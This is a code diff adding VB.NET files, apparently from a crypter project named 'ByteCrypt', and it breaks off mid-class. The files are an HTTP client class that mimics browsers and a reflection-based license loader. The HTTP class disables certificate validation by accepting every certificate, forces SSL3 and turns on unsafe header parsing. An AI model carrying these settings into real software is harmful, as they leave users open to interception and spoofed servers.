{"texi", "application/x-texinfo"}, _ + {"texinfo", "application/x-texinfo"}, _ + {"tif", "image/tiff"}, _ + {"tiff", "image/tiff"}, _ + {"tr", "application/x-troff"}, _ + {"tsv", "text/tab-separated-values"}, _ + {"txt", "text/plain"}, _ + {"ustar", "application/x-ustar"}, _ + {"vcd", "application/x-cdlink"}, _ + {"vrml", "model/vrml"}, _ + {"vxml", "application/voicexml+xml"}, _ + {"wav", "audio/x-wav"}, _ + {"wbmp", "image/vnd.wap.wbmp"}, _ + {"wbmxl", "application/vnd.wap.wbxml"}, _ + {"wml", "text/vnd.wap.wml"}, _ + {"wmlc", "application/vnd.wap.wmlc"}, _ + {"wmls", "text/vnd.wap.wmlscript"}, _ + {"wmlsc", "application/vnd.wap.wmlscriptc"}, _ + {"wrl", "model/vrml"}, _ + {"xbm", "image/x-xbitmap"}, _ + {"xht", "application/xhtml+xml"}, _ + {"xhtml", "application/xhtml+xml"}, _ + {"xls", "application/vnd.ms-excel"}, _ + {"xml", "application/xml"}, _ + {"xpm", "image/x-xpixmap"}, _ + {"xsl", "application/xml"}, _ + {"xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"}, _ + {"xltx", "application/vnd.openxmlformats-officedocument.spreadsheetml.template"}, _ + {"xlsm", "application/vnd.ms-excel.sheet.macroEnabled.12"}, _ + {"xltm", "application/vnd.ms-excel.template.macroEnabled.12"}, _ + {"xlam", "application/vnd.ms-excel.addin.macroEnabled.12"}, _ + {"xlsb", "application/vnd.ms-excel.sheet.binary.macroEnabled.12"}, _ + {"xslt", "application/xslt+xml"}, _ + {"xul", "application/vnd.mozilla.xul+xml"}, _ + {"xwd", "image/x-xwindowdump"}, _ + {"xyz", "chemical/x-xyz"}, _ + {"zip", "application/zip"}} + +#End Region + +#Region "Enumerators" + Public Enum MimicBrowser + Firefox = 0 + InternetExplorer = 1 + Chrome = 2 + Custom = 3 + End Enum + Public Enum Verb + _GET = 0 + _POST = 1 + _PUT = 2 + End Enum +#End Region + +#Region "Structures" + Public Structure HttpProxy + Dim Server As String + Dim Port As Integer + Dim UserName As String + Dim Password As String + + Public Sub New(ByVal pServer As String, ByVal pPort As Integer, Optional ByVal pUserName As String = "", Optional ByVal pPassword As String = "") + Server = pServer + Port = pPort + UserName = pUserName + Password = pPassword + End Sub + End Structure + Structure UploadData + Dim Contents As Byte() + Dim FileName As String + Dim FieldName As String + Public Sub New(ByVal uContents As Byte(), ByVal uFileName As String, ByVal uFieldName As String) + Contents = uContents + FileName = uFileName + FieldName = uFieldName + End Sub + End Structure +#End Region + +#Region "Properties" + Private _TimeOut As Integer = 7000 + Public Property TimeOut() As Integer + Get + Return _TimeOut + End Get + Set(ByVal value As Integer) + _TimeOut = value + End Set + End Property + + Private _Progress As Integer = 0 + Public Property Progress As Integer + Get + Return _Progress + End Get + Set(ByVal value As Integer) + _Progress = value + End Set + End Property + + Private _Proxy As HttpProxy = New HttpProxy + Public Property Proxy() As HttpProxy + Get + Return _Proxy + End Get + Set(ByVal value As HttpProxy) + _Proxy = value + End Set + End Property + + Private _UserAgent As String = "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1" + Public Property Useragent() As String + Get + Return _UserAgent + End Get + Set(ByVal value As String) + _UserAgent = value + End Set + End Property + + Private _Referer As String = String.Empty + Public Property Referer() As String + Get + Return _Referer + End Get + Set(ByVal value As String) + _Referer = value + End Set + End Property + + Private _AutoRedirect As Boolean = True + Public Property AutoRedirect As Boolean + Get + Return _AutoRedirect + End Get + Set(ByVal value As Boolean) + _AutoRedirect = value + End Set + End Property + + Private _StoreCookies As Boolean = True + Public Property StoreCookies() As Boolean + Get + Return _StoreCookies + End Get + Set(ByVal value As Boolean) + _StoreCookies = value + End Set + End Property + + Private _SendCookies As Boolean = True + Public Property SendCookies() As Boolean + Get + Return _SendCookies + End Get + Set(ByVal value As Boolean) + _SendCookies = value + End Set + End Property + + Private _LastRequestUri As String = String.Empty + Public Property LastRequestUri As String + Get + Return _LastRequestUri + End Get + Set(ByVal value As String) + _LastRequestUri = value + End Set + End Property + + Private _LastResponseUri As String = String.Empty + Public Property LastResponseUri As String + Get + Return _LastResponseUri + End Get + Set(ByVal value As String) + _LastResponseUri = value + End Set + End Property + + Private _KeepAlive As Boolean = True + Public Property KeepAlive As Boolean + Get + Return _KeepAlive + End Get + Set(ByVal value As Boolean) + _KeepAlive = value + End Set + End Property + + Private _Version As System.Version = HttpVersion.Version11 + Public Property Version As System.Version + Get + Return _Version + End Get + Set(ByVal value As System.Version) + _Version = value + End Set + End Property + + Private _Accept As String = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + Public Property Accept As String + Get + Return _Accept + End Get + Set(ByVal value As String) + _Accept = value + End Set + End Property + + Private _AllowExpect100 As Boolean = False + Public Property AllowExpect100 As Boolean + Get + Return _AllowExpect100 + End Get + Set(ByVal value As Boolean) + _AllowExpect100 = value + End Set + End Property + + Private _ContentType As String = "application/x-www-form-urlencoded; charset=UTF-8" + Public Property ContentType As String + Get + Return _ContentType + End Get + Set(ByVal value As String) + _ContentType = value + End Set + End Property + + Private _DebugMode As Boolean = True + Public Property DebugMode As Boolean + Get + Return _DebugMode + End Get + Set(ByVal value As Boolean) + _DebugMode = value + End Set + End Property + + Private _AcceptEncoding As String = "gzip, deflate" + Public Property AcceptEncoding As String + Get + Return _AcceptEncoding + End Get + Set(ByVal value As String) + _AcceptEncoding = value + End Set + End Property + + Private _AcceptLanguage As String = "en-us,en;q=0.5" + Public Property AcceptLanguage As String + Get + Return _AcceptLanguage + End Get + Set(ByVal value As String) + _AcceptLanguage = value + End Set + End Property + + Private _AcceptCharset As String = "ISO-8859-1,utf-8;q=0.7,*;q=0.7" + Public Property AcceptCharset As String + Get + Return _AcceptCharset + End Get + Set(ByVal value As String) + _AcceptCharset = value + End Set + End Property + + Private _AllowWriteStreamBuffering As Boolean = False + Public Property AllowWriteStreamBuffering As Boolean + Get + Return _AllowWriteStreamBuffering + End Get + Set(ByVal value As Boolean) + _AllowWriteStreamBuffering = value + End Set + End Property + + Private _UseCustomCookies As Boolean = False + Public Property UseCustomCookies As Boolean + Get + Return _UseCustomCookies + End Get + Set(ByVal value As Boolean) + _UseCustomCookies = value + End Set + End Property + + Private _CustomCookies() As HttpCookie = Nothing + Public Property CustomCookies As HttpCookie() + Get + Return _CustomCookies + End Get + Set(ByVal value As HttpCookie()) + _CustomCookies = value + End Set + End Property + + Private _SendChunked As Boolean = False + Public Property SendChunked As Boolean + Get + Return _SendChunked + End Get + Set(ByVal value As Boolean) + _SendChunked = value + End Set + End Property +#End Region + +#Region "Constructor" + Public Sub New() + SetUnsafeHeaderParsing(True) + + DefaultConnectionLimit = 500 + Expect100Continue = Me.AllowExpect100 + ServerCertificateValidationCallback = AddressOf AcceptAllCertifications + UseNagleAlgorithm = False + SecurityProtocol = SecurityProtocolType.Ssl3 + + SessionCookies = New List(Of HttpCookie) + End Sub +#End Region + +#Region "Deconstructor" + Private disposedValue As Boolean + Protected Overridable Sub Dispose(ByVal disposing As Boolean) + If Not Me.disposedValue Then + If disposing Then + RedirectBlacklist.Clear() + SessionCookies.Clear() + End If + End If + Me.disposedValue = True + End Sub + Public Sub Dispose() Implements IDisposable.Dispose + Dispose(True) + GC.SuppressFinalize(Me) + End Sub +#End Region + +#Region "Public Methods" + Public Overloads Function GetResponse(ByVal Method As Verb, ByVal Uri As String, ByVal PostData As String, Optional ByVal ExtraHeaders As NameValueCollection = Nothing) As HttpResponse + Dim Data() As Byte = Nothing + If Not String.IsNullOrEmpty(PostData) Then Data = Encoding.UTF8.GetBytes(PostData) + Dim Result As HttpResponse = GetResponse(Method, Uri, Data, ExtraHeaders) + Return Result + End Function + Public Overloads Function GetResponse(ByVal Method As Verb, ByVal Uri As String, Optional ByVal PostData() As Byte = Nothing, Optional ByVal ExtraHeaders As NameValueCollection = Nothing) As HttpResponse + Dim hr As New HttpResponse + Dim e As Exception = Nothing + + Dim Response As HttpWebResponse = Nothing + +request: + Try + If Not Uri.StartsWith("http") Then Uri = "http://" & Uri + If Not IsValidUri(Uri) Then + e = New Exception(String.Format("'{0}' is not a valid Uri.", Uri)) + Exit Try + End If + Dim Request As HttpWebRequest = SendRequest(Method, Uri, PostData, ExtraHeaders) + Response = DirectCast(Request.GetResponse(), HttpWebResponse) + If StoreCookies Then ProcessCookies(Response) + + With hr + .WebRequest = Request + .RequestUri = Request.RequestUri.ToString + .RequestHeaders = GetRequestHeaders(Request) + If Not IsNothing(PostData) Then .RequestHeaders &= vbCrLf & vbCrLf & Verbs(Method) & Encoding.UTF8.GetString(PostData) + + .WebResponse = Response + .ResponseUri = Response.ResponseUri.ToString + .ResponseHeaders = GetResponseHeaders(Response) + End With + PostData = Nothing + + With Response + If Not .StatusCode = HttpStatusCode.OK Then + Select Case .StatusCode + Case HttpStatusCode.Found, HttpStatusCode.Redirect, HttpStatusCode.Moved, HttpStatusCode.MovedPermanently, HttpStatusCode.RedirectMethod, HttpStatusCode.RedirectKeepVerb + Dim Redirect As String = GetRedirectUrl(hr.RequestUri, .Headers("Location")) + If AutoRedirect Then + If Not String.IsNullOrEmpty(Redirect) Then + If Not IsBlackListed(Redirect) Then + Uri = Redirect + Method = Verb._GET + Referer = hr.RequestUri + GoTo request + Else + 'Debug.Print("Redirect '{0}' is blacklisted", Redirect) + End If + Else + Debug.Print("Could not combine redirect Url with base Url") + End If + Else + hr.RedirectUrl = Redirect + End If + End Select + Else + LastResponseUri = Response.ResponseUri.ToString + If Not IsNothing(.Headers(HttpResponseHeader.ContentType)) Then + If .Headers(HttpResponseHeader.ContentType).StartsWith("image") Then + hr.Image = System.Drawing.Image.FromStream(.GetResponseStream) + Exit Try + End If + End If + End If + End With + + hr.Html = HtmlDecode(ProcessResponse(Response)) + hr.StatusCode = Response.StatusCode + _LastResponseUri = Uri + + If hr.Html.ToLower.Contains(" -1, c, "%" + String.Format("{0:X2}", Convert.ToInt32(c)))) + Next + Return sb.ToString() + End Function + Public Function UrlDecode(ByVal Data As String) As String + Return HttpUtility.UrlDecode(Data) + End Function + Public Function HtmlEncode(ByVal Data As String) As String + Return HttpUtility.HtmlEncode(Data) + End Function + Public Function HtmlDecode(ByVal Data As String) As String + Return HttpUtility.HtmlDecode(Data) + End Function + + Public Function EscapeUnicode(ByVal Data As String) As String + Return Regex.Unescape(Data) + End Function + Public Function FixData(ByVal Data As String) As String + ' Ghetto hack + Return HtmlDecode(Data.Replace("\/\/", "//").Replace("\/", "/").Replace("\""", """").Replace("\u003e", ">").Replace("\u003c", "<").Replace("\u003a", ":").Replace("\u003b", ";").Replace("\u003f", "?").Replace("\u003d", "=").Replace("\u002f", "/").Replace("\u0026", "&").Replace("\u002b", "+").Replace("\u0025", "%").Replace("\u0027", "'").Replace("\u007b", "{").Replace("\u007d", "}").Replace("\u007c", "|").Replace("\u0022", """").Replace("\u0023", "#").Replace("\u0021", "!").Replace("\u0024", "$").Replace("\u0040", "@").Replace("\002f", "/").Replace("\r\n", vbCrLf & vbCrLf).Replace("\n", vbCrLf)).Replace("\x3a", ":").Replace("\x2f", "/").Replace("\x3f", "?").Replace("\x3d", "=").Replace("\x26", "&") + End Function + Public Function TrimHtml(ByVal Data As String) As String + Return IIf(String.IsNullOrEmpty(Data), String.Empty, Regex.Replace(Data, "<.*?>", "")) + End Function + + Public Function ParseMetaRefreshUrl(ByVal Html As String) As String + If String.IsNullOrEmpty(Html) Then Return String.Empty + Dim Result As String = Html.Substring(Html.ToLower.IndexOf("> {2}", Now.ToString("hh:mm:ss tt").ToLower, Verbs(Method), Uri)) + + .Method = Verbs(Method) + .Headers.Clear() + + Dim hc As New WebHeaderCollection + With hc + .Add(HttpRequestHeader.Host, New Uri(Uri).Host) + .Add(HttpRequestHeader.UserAgent, Useragent) + If Not String.IsNullOrEmpty(Accept) Then .Add(HttpRequestHeader.Accept, Accept) + If Not String.IsNullOrEmpty(AcceptLanguage) Then .Add(HttpRequestHeader.AcceptLanguage, AcceptLanguage) + If Not String.IsNullOrEmpty(AcceptEncoding) Then .Add(HttpRequestHeader.AcceptEncoding, AcceptEncoding) + If Not String.IsNullOrEmpty(AcceptCharset) Then .Add(HttpRequestHeader.AcceptCharset, AcceptCharset) + + If Not ExtraHeaders.Count = 0 Then + For Index As Integer = 0 To (ExtraHeaders.Count - 1) + Select Case ExtraHeaders.Keys(Index) + Case "Host", "User-Agent", "Referer", "Accept", "Accept-Language", "Accept-Charset", "Connection" + Case Else + .Add(ExtraHeaders.Keys(Index), ExtraHeaders(Index)) + End Select + Next + End If + + If Not String.IsNullOrEmpty(Referer) Then .Add(HttpRequestHeader.Referer, Referer) + If KeepAlive Then + If Secure Then + .Add(HttpRequestHeader.Connection, "keep-alive") + Else + .Add(IIf(IsNothing(Proxy), "Connection", "Proxy-Connection"), "keep-alive") + End If + End If + + If SendCookies Then + Dim Cookie As String + Cookie = IIf(UseCustomCookies, GetCookies(CustomCookies), GetCookies(Uri)) + If Not String.IsNullOrEmpty(Cookie) Then .Add("Cookie", Cookie) + End If + End With + + ' Set correct order of headers before sending. + ' Needed to use reflection to send in the proper order. + For Index As Integer = 0 To hc.Count - 1 + Dim Type As Type = GetType(WebHeaderCollection) + Dim Info As MethodInfo = Type.GetMethod("AddWithoutValidate", BindingFlags.Instance Or BindingFlags.NonPublic) + Info.Invoke(Request.Headers, New Object() {hc.Keys(Index), hc(Index)}) + Next + + If Not IsNothing(PostData) Then + .SendChunked = SendChunked + + .ContentType = ContentType + .ContentLength = PostData.Length + + Dim dataStream As Stream = .GetRequestStream() + With dataStream + .Write(PostData, 0, PostData.Length) + .Close() : .Dispose() + End With + End If + End With + + PostData = Nothing + LastRequestUri = Uri + Return Request + End Function + + Private Function ProcessResponse(ByVal Response As System.Net.HttpWebResponse) As String + Try + Dim sb As New StringBuilder + With Response + Dim Stream As System.IO.Stream = .GetResponseStream + + If (Response.ContentEncoding.ToLower().Contains("gzip")) Then + Stream = New GZipStream(Stream, CompressionMode.Decompress) + ElseIf (Response.ContentEncoding.ToLower().Contains("deflate")) Then + Stream = New DeflateStream(Stream, CompressionMode.Decompress) + End If + + Dim Reader As New StreamReader(Stream) + Dim Buffer(1024) As [Char] + Dim Read As Integer = Reader.Read(Buffer, 0, 1024) + While Read > 0 + Dim outputData As New [String](Buffer, 0, Read) + outputData = Replace(outputData, vbNullChar, String.Empty) + sb.Append(outputData) + Read = Reader.Read(Buffer, 0, 1024) + End While + Reader.Close() : Reader.Dispose() : Reader = Nothing + Stream.Close() : Stream.Dispose() : Stream = Nothing + End With + Return sb.ToString + Catch ex As Exception + Return String.Empty + End Try + End Function + Private Function ProcessException(ByVal Ex As Object) As HttpError + Dim Result As New HttpError + Dim Message As String = String.Empty + + Result.Exception = Ex + + If TypeOf Ex Is WebException Then + Dim we As WebException = DirectCast(Ex, WebException) + If Not IsNothing(we.Response) AndAlso DirectCast(we.Response, HttpWebResponse).StatusCode = HttpStatusCode.BadGateway Then + Message = we.Message + If Not String.IsNullOrEmpty(Me.Proxy.Server) Then Result.IsProxyError = True + End If + If we.Message.Contains("The underlying connection was closed:") Then + Message = we.Message + If Not String.IsNullOrEmpty(Me.Proxy.Server) Then Result.IsProxyError = True + ElseIf we.Message.Contains("The remote server returned an error: (") Then + Message = we.Message + If Not String.IsNullOrEmpty(Me.Proxy.Server) Then Result.IsProxyError = True + Else + Select Case we.Status + Case WebExceptionStatus.Timeout + Message = "Timed out." + If Not String.IsNullOrEmpty(Me.Proxy.Server) Then Result.IsProxyError = True + Case WebExceptionStatus.ConnectFailure + If we.Message.Trim = "Unable to connect to the remote server" Then + Message = IIf(Not String.IsNullOrEmpty(Me.Proxy.Server), "Could not connect to proxy server.", "Could not connect to server.") + If Not String.IsNullOrEmpty(Me.Proxy.Server) Then Result.IsProxyError = True + Else + Message = we.Message + End If + Case WebExceptionStatus.KeepAliveFailure + Message = IIf(Not String.IsNullOrEmpty(Me.Proxy.Server), "Disconnected from proxy server.", we.Message) + If Not String.IsNullOrEmpty(Me.Proxy.Server) Then Result.IsProxyError = True + Case Else + Message = we.Message + Debug.Print("Exception else: " & we.Status & " - " & we.Message) + End Select + End If + Else + Message = TryCast(Ex, Exception).Message + End If + Result.Message = Message + Return Result + End Function + + Private Function GetCookies(ByVal Cookies() As HttpCookie) As String + Dim Result As String = String.Empty + If Not IsNothing(Cookies) Then + With Cookies + If .Length = 0 Then Return Result + For Each item As HttpCookie In Cookies + Result &= item.Name & IIf(String.IsNullOrEmpty(item.Value), "", "=" & item.Value) & "; " + Next + If Result.EndsWith("; ") Then Result = Result.Substring(0, Result.Length - 2) + End With + End If + Return Result + End Function + Private Function GetCookies(ByVal RequestUri As String) As String + Dim Result As String = String.Empty + If RequestUri.StartsWith("https://") Then RequestUri = "http://" & RequestUri.Substring(RequestUri.IndexOf("//") + 2) + If Not RequestUri.StartsWith("http") Then RequestUri = "http://" & RequestUri + Dim Uri As New Uri(RequestUri) + + If Not IsNothing(SessionCookies) Then + With SessionCookies + If .Count = 0 Then Return Result + For Each item As HttpCookie In SessionCookies + If item.Domain.ToLower.Trim = Uri.Host.ToLower.Trim Then + Result &= item.Name & IIf(String.IsNullOrEmpty(item.Value), "", "=" & item.Value) & "; " + Else + If item.Domain.StartsWith(".") AndAlso Uri.Host.Contains(item.Domain) Then + Result &= item.Name & IIf(String.IsNullOrEmpty(item.Value), "", "=" & item.Value) & "; " + ElseIf item.Domain.StartsWith(".") AndAlso CountOccurance(Uri.Host, ".") = 1 Then + Result &= item.Name & IIf(String.IsNullOrEmpty(item.Value), "", "=" & item.Value) & "; " + ElseIf item.Domain.Contains(Uri.Host) Then + Result &= item.Name & IIf(String.IsNullOrEmpty(item.Value), "", "=" & item.Value) & "; " + Else + 'Debug.Print("here: " & Uri.Host & " / " & item.Domain) + End If + End If +nextItem: + Next + If Result.EndsWith("; ") Then Result = Result.Substring(0, Result.Length - 2) + End With + Else + SessionCookies = New List(Of HttpCookie) + End If + Return Result + End Function + Private Sub ProcessCookies(ByVal Response As HttpWebResponse) + Try + If IsNothing(SessionCookies) Then SessionCookies = New List(Of HttpCookie) + + Dim Data As String = Response.Headers("Set-Cookie") + If Data = Nothing Then Exit Sub + If String.IsNullOrEmpty(Data) Then Exit Sub + Data = Data.Replace("Mon,", "Mon").Replace("Tue,", "Tue").Replace("Wed,", "Wed").Replace("Thu,", "Thu").Replace("Fri,", "Fri").Replace("Sat,", "Sat").Replace("Sun,", "Sun") + Data = Data.Replace("Monday,", "Mon").Replace("Tuesday,", "Tue").Replace("Wednesday,", "Wed").Replace("Thursday,", "Thurs").Replace("Friday,", "Fri").Replace("Saturday,", "Sat").Replace("Sunday,", "Sun") + + If Not Data.Contains(",") Then + ParseCookie(Data, Response.ResponseUri) + Else + For Each c As String In Data.Split(",") + ParseCookie(c, Response.ResponseUri) + Next + End If + Catch ex As Exception + Debug.Print(ex.ToString) + End Try + End Sub + Private Sub ParseCookie(ByVal Data As String, ByVal Uri As Uri) + Dim Cookie As New HttpCookie + With Cookie + .Name = Data.Split("=")(0).Trim + If CookieBlacklist.Contains(.Name) Then Exit Sub + + .HttpOnly = False + .Secure = False + + If Data.Contains(";") Then + .Value = Data.Substring(0, Data.IndexOf(";")) + .Value = .Value.Split("=")(1).Trim + Else + .Value = Data.Split("=")(1).Trim + End If + + If Not .Value.ToLower = "deleted" Then + For Each Parameter As String In Split(Data, ";") + Parameter = Parameter.Trim + If Not String.IsNullOrEmpty(Parameter) Then + If Parameter.Contains("=") Then + Dim Key As String = Parameter.Split("=")(0).Trim + Dim Value As String = Parameter.Substring(Parameter.IndexOf("=") + 1).Trim + + Select Case Key.ToLower + Case .Name.ToLower + .Value = Value + Case "path" + .Path = Value + Case "expires" + Try + If Value.ToLower.EndsWith("utc") Or Value.ToLower.EndsWith("gmt") Then + Value = Value.Substring(0, Value.ToLower.IndexOf(IIf(Value.ToLower.EndsWith("utc"), "utc", "gmt"))).Trim + Try + .Expires = System.DateTime.Parse(Value) + Catch ex As Exception + .Expires = Nothing + End Try + Else + .Expires = Value + End If + Catch ex As Exception + .Expires = Nothing + End Try + Case "domain" + .Domain = Value + Case "httponly" + .HttpOnly = True + Case "secure" + .Secure = True + Case "version" + .Version = Value + Case Else + Debug.Print("unknown with value: " & Key & " - " & Value) + End Select + Else + Select Case Parameter.ToLower + Case "secure" + .Secure = True + Case "httponly" + .HttpOnly = True + Case Else + Debug.Print("unknown without value: " & Parameter) + End Select + End If + End If + Next + + If String.IsNullOrEmpty(.Path) Then .Path = Uri.AbsolutePath + If String.IsNullOrEmpty(.Domain) Then .Domain = Uri.Host + If .Domain.StartsWith("www.") Then .Domain = Replace(.Domain, "www.", ".") + + Dim Find As HttpCookie = FindCookie(.Name, .Domain) + If Not IsNothing(Find) Then SessionCookies.Remove(Find) + SessionCookies.Add(Cookie) + Else + If Not FindCookie(Cookie.Name, Cookie.Domain) Is Nothing Then SessionCookies.Remove(FindCookie(Cookie.Name, Cookie.Domain)) + End If + End With + End Sub + Private Function AcceptAllCertifications(ByVal sender As Object, ByVal certification As System.Security.Cryptography.X509Certificates.X509Certificate, ByVal chain As System.Security.Cryptography.X509Certificates.X509Chain, ByVal sslPolicyErrors As System.Net.Security.SslPolicyErrors) As Boolean + Return True + End Function + + Private Sub SetUnsafeHeaderParsing(ByVal Allow As Boolean) + ' Credit: lessthandot.com + ' Source: http://wiki.lessthandot.com/index.php/Setting_unsafeheaderparsing + + 'Dim SettingsSection As New System.Net.Configuration.SettingsSection + 'Dim Assembly As System.Reflection.Assembly = System.Reflection.Assembly.GetAssembly(SettingsSection.GetType) + 'Dim SettingsType As Type = Assembly.GetType("System.Net.Configuration.SettingsSectionInternal") + 'Dim Args As Object() = Nothing + 'Dim Instance As Object = SettingsType.InvokeMember("Section", System.Reflection.BindingFlags.Static Or BindingFlags.GetProperty Or BindingFlags.NonPublic, Nothing, Nothing, Args) + 'Dim UseUnsafeHeaderParsing As FieldInfo = SettingsType.GetField("useUnsafeHeaderParsing", BindingFlags.NonPublic Or BindingFlags.Instance) + 'UseUnsafeHeaderParsing.SetValue(Instance, Allow) + End Sub + + Private Function GetRequestHeaders(ByVal Request As HttpWebRequest) As String + Return String.Format("Request Headers -----------------------------------{0}{1}", vbCrLf, Request.Headers.ToString) + End Function + Private Function GetResponseHeaders(ByVal Response As HttpWebResponse) As String + Return String.Format("Response Headers -----------------------------------{0}{1}", vbCrLf, Response.Headers.ToString) + End Function + + Private Function GetRedirectUrl(ByVal RequestUri As String, ByVal Redirect As String) As String + Dim Result As String = String.Empty + If IsValidUri(Redirect) Then + Result = Redirect + Else + If Redirect.StartsWith("&") Or Redirect.StartsWith("?") Then + Result = RequestUri & Redirect + ElseIf Redirect.StartsWith("/") Then + Dim Built As Boolean = False + For Each Part As String In Split(Redirect, "/") + If RequestUri.EndsWith("/" & Part) Then + Result = RequestUri & Redirect.Substring(Redirect.IndexOf("/" & Part) + Part.Length + 1) + Exit For + End If + Next + If Not Built Then Result = IIf(RequestUri.StartsWith("https"), "https://", "http://") & New Uri(RequestUri).Host & Redirect + Else + Debug.Print("RequestUri: " & RequestUri) + Debug.Print("Redirect: " & Redirect) + End If + End If + Return Result + End Function + + Private Function IsBlackListed(ByVal Url As String) As Boolean + For Each r As String In RedirectBlacklist + If Url.ToLower.Contains(r.ToLower) Then + Return True + Exit For + End If + Next + Return False + End Function +#End Region + + Public Class HttpCookie + Public Name As String = String.Empty + Public Value As String = String.Empty + Public Domain As String = String.Empty + Public Path As String = String.Empty + Public Expires As Date = Nothing + Public HttpOnly As Boolean = False + Public Secure As Boolean = False + Public Version As Integer = -1 + + Public Sub New() + End Sub + Public Sub New(ByVal cName As String, ByVal cValue As String, ByVal cDomain As String) + Name = cName + Value = cValue + Domain = cDomain + End Sub + Public Sub New(ByVal cName As String, ByVal cValue As String, ByVal cDomain As String, ByVal cPath As String, ByVal cExpires As Date, ByVal cHttpOnly As Boolean, ByVal cSecure As Boolean, ByVal cVersion As Integer) + Name = cName + Value = cValue + Domain = cDomain + Path = cPath + Expires = cExpires + HttpOnly = cHttpOnly + Secure = cSecure + Version = cVersion + End Sub + End Class + Public Class HttpResponse + Public WebRequest As HttpWebRequest = Nothing + Public RequestHeaders As String = String.Empty + Public RequestUri As String = String.Empty + + Public WebResponse As HttpWebResponse = Nothing + Public ResponseHeaders As String = String.Empty + Public ResponseUri As String = String.Empty + + Public StatusCode As HttpStatusCode + + Public RequestError As HttpError = Nothing + + Public RedirectUrl As String = String.Empty + + Public Html As String = String.Empty + Public Image As Image = Nothing + End Class + Public Class HttpError + Public Exception As Object = Nothing + Public Message As String = String.Empty + Public IsProxyError As Boolean = False + Public Html As String = String.Empty + End Class + + End Class +End Namespace \ No newline at end of file diff --git a/scode (ByteCrypt/ByteCrypter/License.vb b/scode (ByteCrypt/ByteCrypter/License.vb new file mode 100644 index 0000000..4e3aa23 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/License.vb @@ -0,0 +1,771 @@ +Imports System +Imports System.Net +Imports System.Text +Imports System.IO +Imports System.IO.Compression +Imports System.Diagnostics +Imports System.Reflection +Imports System.Windows.Forms +Imports System.ComponentModel +Imports System.Security.Cryptography +Imports System.Collections.Generic +Imports System.Runtime.InteropServices +Imports System.Net.Security +Imports System.Security +Imports System.Security.Cryptography.X509Certificates + +''' +''' License Loader, Version: 2.0.0.3, Changed: 12/23/2012 +''' + +Friend NotInheritable Class License + + Private Version As New Version("2.0.0.3") + +#Region " ReadOnly Properties " + + ReadOnly Property Username As String + Get + Dim Data As Object = Instance.GetMethod("GetUsername").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + Private _ProductVersion As Version + ReadOnly Property ProductVersion As Version + Get + If _ProductVersion Is Nothing Then + _ProductVersion = New Version(Application.ProductVersion) + End If + + Return _ProductVersion + End Get + End Property + + ReadOnly Property ExecutablePath As String + Get + Dim Data As Object = Instance.GetMethod("GetExecutablePath").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + ReadOnly Property GlobalMessage As String + Get + Dim Data As Object = Instance.GetMethod("GetMessage").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + ReadOnly Property ExpirationDate As Date + Get + Dim Data As Object = Instance.GetMethod("GetExpiration").Invoke(Nothing, Nothing) + Return DirectCast(Data, Date) + End Get + End Property + + ReadOnly Property TimeRemaining As TimeSpan + Get + Dim Data As Object = Instance.GetMethod("GetRemaining").Invoke(Nothing, Nothing) + Return DirectCast(Data, TimeSpan) + End Get + End Property + + ReadOnly Property LicenseType As LicenseType + Get + Dim Data As Object = Instance.GetMethod("GetLicenseType").Invoke(Nothing, Nothing) + Return DirectCast(Data, LicenseType) + End Get + End Property + + ReadOnly Property Points As Integer + Get + Dim Data As Object = Instance.GetMethod("GetPoints").Invoke(Nothing, Nothing) + Return DirectCast(Data, Integer) + End Get + End Property + + ReadOnly Property UnlimitedTime As Boolean + Get + Dim Data As Object = Instance.GetMethod("GetUnlimitedTime").Invoke(Nothing, Nothing) + Return DirectCast(Data, Boolean) + End Get + End Property + + ReadOnly Property UpdateAvailable As Boolean + Get + Dim Data As Object = Instance.GetMethod("GetUpdateAvailable").Invoke(Nothing, Nothing) + Return DirectCast(Data, Boolean) + End Get + End Property + + ReadOnly Property UsersCount As Integer + Get + Dim Data As Object = Instance.GetMethod("GetUsersCount").Invoke(Nothing, Nothing) + Return DirectCast(Data, Integer) + End Get + End Property + + ReadOnly Property UsersOnline As Integer + Get + Dim Data As Object = Instance.GetMethod("GetUsersOnline").Invoke(Nothing, Nothing) + Return DirectCast(Data, Integer) + End Get + End Property + + ReadOnly Property GUID As String + Get + Dim Data As Object = Instance.GetMethod("GetGUID").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + ReadOnly Property PublicToken As String + Get + Dim Data As Object = Instance.GetMethod("GetPublicToken").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + ReadOnly Property PrivateKey As Byte() + Get + Dim Data As Object = Instance.GetMethod("GetPrivateKey").Invoke(Nothing, Nothing) + Return DirectCast(Data, Byte()) + End Get + End Property + + ReadOnly Property Client As WebClient + Get + Dim Data As Object = Instance.GetMethod("GetClient").Invoke(Nothing, Nothing) + Return DirectCast(Data, WebClient) + End Get + End Property + + ReadOnly Property News As NewsPost() + Get + Dim Data As Object = Instance.GetMethod("GetNews").Invoke(Nothing, Nothing) + Dim Values As Object() = DirectCast(Data, Object()) + + Dim Section As Integer + Dim T As New List(Of NewsPost) + + For I As Integer = 0 To Values.Length - 1 Step 3 + Section = I * 3 + T.Add(New NewsPost(Values(I), Values(I + 1), Values(I + 2))) + Next + + Return T.ToArray() + End Get + End Property + +#End Region + +#Region " Initialize Properties " + + Private _ID As String + Property ID() As String + Get + Return _ID + End Get + Set(ByVal value As String) + _ID = value + End Set + End Property + + Private _Catch As Boolean + Property [Catch]() As Boolean + Get + Return _Catch + End Get + Set(ByVal value As Boolean) + _Catch = value + End Set + End Property + + Private _DisableUpdates As Boolean + Property DisableUpdates() As Boolean + Get + Return _DisableUpdates + End Get + Set(ByVal value As Boolean) + _DisableUpdates = value + End Set + End Property + + Private _RunHook As GenericDelegate + Property RunHook() As GenericDelegate + Get + Return _RunHook + End Get + Set(ByVal value As GenericDelegate) + _RunHook = value + End Set + End Property + + Private _BanHook As GenericDelegate + Property BanHook() As GenericDelegate + Get + Return _BanHook + End Get + Set(ByVal value As GenericDelegate) + _BanHook = value + End Set + End Property + + Private _RenewHook As GenericDelegate + Property RenewHook() As GenericDelegate + Get + Return _RenewHook + End Get + 